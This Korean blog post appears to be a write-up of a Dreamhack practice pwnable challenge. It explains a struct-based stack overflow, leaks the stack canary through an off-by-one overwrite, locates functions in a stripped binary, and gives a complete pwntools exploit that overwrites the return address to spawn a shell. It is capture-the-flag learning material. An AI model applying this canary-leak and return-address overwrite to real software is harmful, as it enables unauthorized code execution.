
📍 보호기법

64비트, 카나리 있음, NX 있음, PIE 없음
📍 소스코드
// Name: chall.c
// Compile: gcc -Wall -no-pie chall.c -o chall ; strip chall
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct person_t {
char nationality[32];
char name[56];
double height;
int age;
char male_or_female[4];
};
void get_shell() {
execve("/bin/sh", 0, 0);
}
void read_input(char *ptr, size_t len) {
ssize_t readn;
readn = read(0, ptr, len);
if (readn < 1) {
puts("read() error");
exit(1);
}
if (ptr[readn - 1] == '\n') {
ptr[readn - 1] = '\0';
}
}
int main() {
struct person_t person;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
printf("Enter name: ");
read_input(person.name, 56);
printf("Enter age: ");
scanf("%d", &person.age);
printf("Enter height: ");
scanf("%lf", &person.height);
printf("Enter M (Male) or F (Female): ");
read_input(person.male_or_female, 5);
printf("Hi %s.\n", person.name);
printf("What's your nationality? ");
read_input(person.nationality, 128);
return 0;
}
🫧 취약점 1
person.nationality = 32바이트read_input(person.nationality, 128) => 128바이트 읽으므로 overwrite 가능
🫧 취약점 2
person.male_or_female = 4바이트read_input(person.male_or_female, 5); => 5바이트 읽으므로 overwrite 가능
구조체에 대한 문제.
구조체의 모든 멤버는 메모리 상에서 순차적으로 위치하며, 연속적인 공간에 할당됨.
스택에서 구조체와 카나리가 이어져 있다고 가정하고,main에서 name, height, age, male_or_female 순으로 입력받으므로,
이 변수들을 널 바이트 없이 꽉 채운 뒤 name을 %s 형식지정자로 출력해서 카나리 값을 알아낼 수 있음.
🫧 공격 시나리오
name,height,age,male_or_female의 버퍼를 꽉 채워서 입력
특히male_or_female은 5바이트 입력해서 카나리의 첫 바이트인 널 바이트 덮기%s로 카나리 값 유출- 마지막
nationality입력할 때 카나리 포함해서 리턴주소를get_shell함수의 주소로 덮기

pwndbg에서 disassemble main 안되는 상황.strip 옵션으로 컴파일해서 파일의 심볼이 삭제됨 (소스코드 최상단 주석 참고)
옵션 없애고 새로 컴파일하면 주소 바뀔 것 같아서(확실X) 직접 찾기로 함
+ 직접 컴파일해보니까 스택에 올라가는 순서는 안 바뀜💀
변수들의 실제 주소는 ASLR 등으로 컴파일할 때마다 달라질 수 있지만, `strip`은 심볼 제거만 하기 때문에 스택에 올라가는 변수 순서는 절대 바뀔 일이 없다고... 생각해보면 당연한데 머릿속이 꼬였던 듯
아래 main 찾기와 person.nationality 찾기는 뻘짓이 됨...
(strip 옵션 없이 컴파일한 바이너리를 pwndbg로 보면 바로 나오는 정보들임)
그래도 하나 배웠다... 부들부들
📍 main 찾기
리눅스 ELF 실행파일에서 프로그램 시작 시 가장 먼저 호출되는 함수는 _start 함수임.__libc_start_main(main, argc, argv, init, fini, rtld_fini, stack_end);
➡️ 첫 번째 인자: main 함수
➡️ 즉 rdi 레지스터에 main의 주소가 전달됨

Entry point = _start 함수의 주소 = 0x401130
objdump -d chall 명령어를 사용해 .text 섹션 뒤져봄 (함수)

0x401148에서, 0x4012b2 ➡️ 레지스터 rdi에 저장됨 ➡️ __libc_start_main의 첫 인자
그 다음 명령어는 간접 호출(call *[rip+0x2e9b]) = GOT에서 __libc_start_main 호출
즉 main()의 주소 = 0x4012b2
📍 person.nationality 찾기
gdb에서 main()에 브레이크 걸고 실행함ni로 계속 넘기면서 구조체 스택 위치 찾아봄

[rbp-0x70]
덤으로 카나리는 [rbp-0x8]에 있음
즉, 스택구조:
리턴주소 [rbp+0x8]
rbp+0x0
카나리 [rbp-0x8]
구조체 시작 위치 [rbp-0x70]
nationality와 카나리 간 offset = 0x70 - 0x8 = 0x68 = 104
📍 get_shell 찾기
objdump -d: 파일의 실행 영역을 disassemble하는 명령어
get_shell이라는 심볼은 사라졌으니 execve로 검색함

objdump -d chall에서 401232 근처 찾아봄

get_shell 시작 주소 = 0x401216
📍 스크립트
from pwn import *
context.log_level = 'debug'
p = remote("host3.dreamhack.games", 17416)
get_shell = 0x401216
p.recvuntil(b'name: ')
p.send(b'A'*56)
p.recvuntil(b'age: ')
p.sendline(b'1234567891')
p.recvuntil(b'height: ')
p.sendline(b'1234567891234567')
p.recvuntil(b'(Male) or F (Female): ')
p.send(b'FFFFF')
p.recvuntil(b'Hi ' + b'A'*56)
leak = p.recv(8 + 4 + 5 + 7)
canary = leak[17:24]
canary = u64(b'\x00' + canary)
print(f'[+] 카나리: {hex(canary)}')
p.recvuntil(b'nationality? ')
payload = b'A'*104
payload += p64(canary)
payload += b'B'*8
payload += p64(get_shell)
p.sendline(payload)
p.interactive()
왜 name과 male_or_female은 sendline 안 하고 send로 넘기냐?
➡️ 소스코드의 read_input 함수를 보면 마지막에 개행 문자가 들어가 있는 경우 널 바이트로 변환함
➡️ 즉 %s의 출력이 끊기므로, 개행 문자를 포함해서 보내는 sendline 대신 send를 써야 함
➡️ (안 그래도 read에는 send, scanf에는 sendline 써야 함)

🚩
셸까지 떠먹여주다니
부랴부랴 ROP 체인 공부했는데 좀 허망했다
그래도 CTF에서 첫 포너블 도전이었는데 성공해서 기쁘다 😎
'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글
| [드림핵] fho (0) | 2025.03.30 |
|---|---|
| [드림핵] basic_rop_x64 (0) | 2025.03.30 |
| [드림핵] rop (0) | 2025.03.29 |
| [드림핵] Return to Library (0) | 2025.03.28 |
| [드림핵] ssp_001 (0) | 2025.03.27 |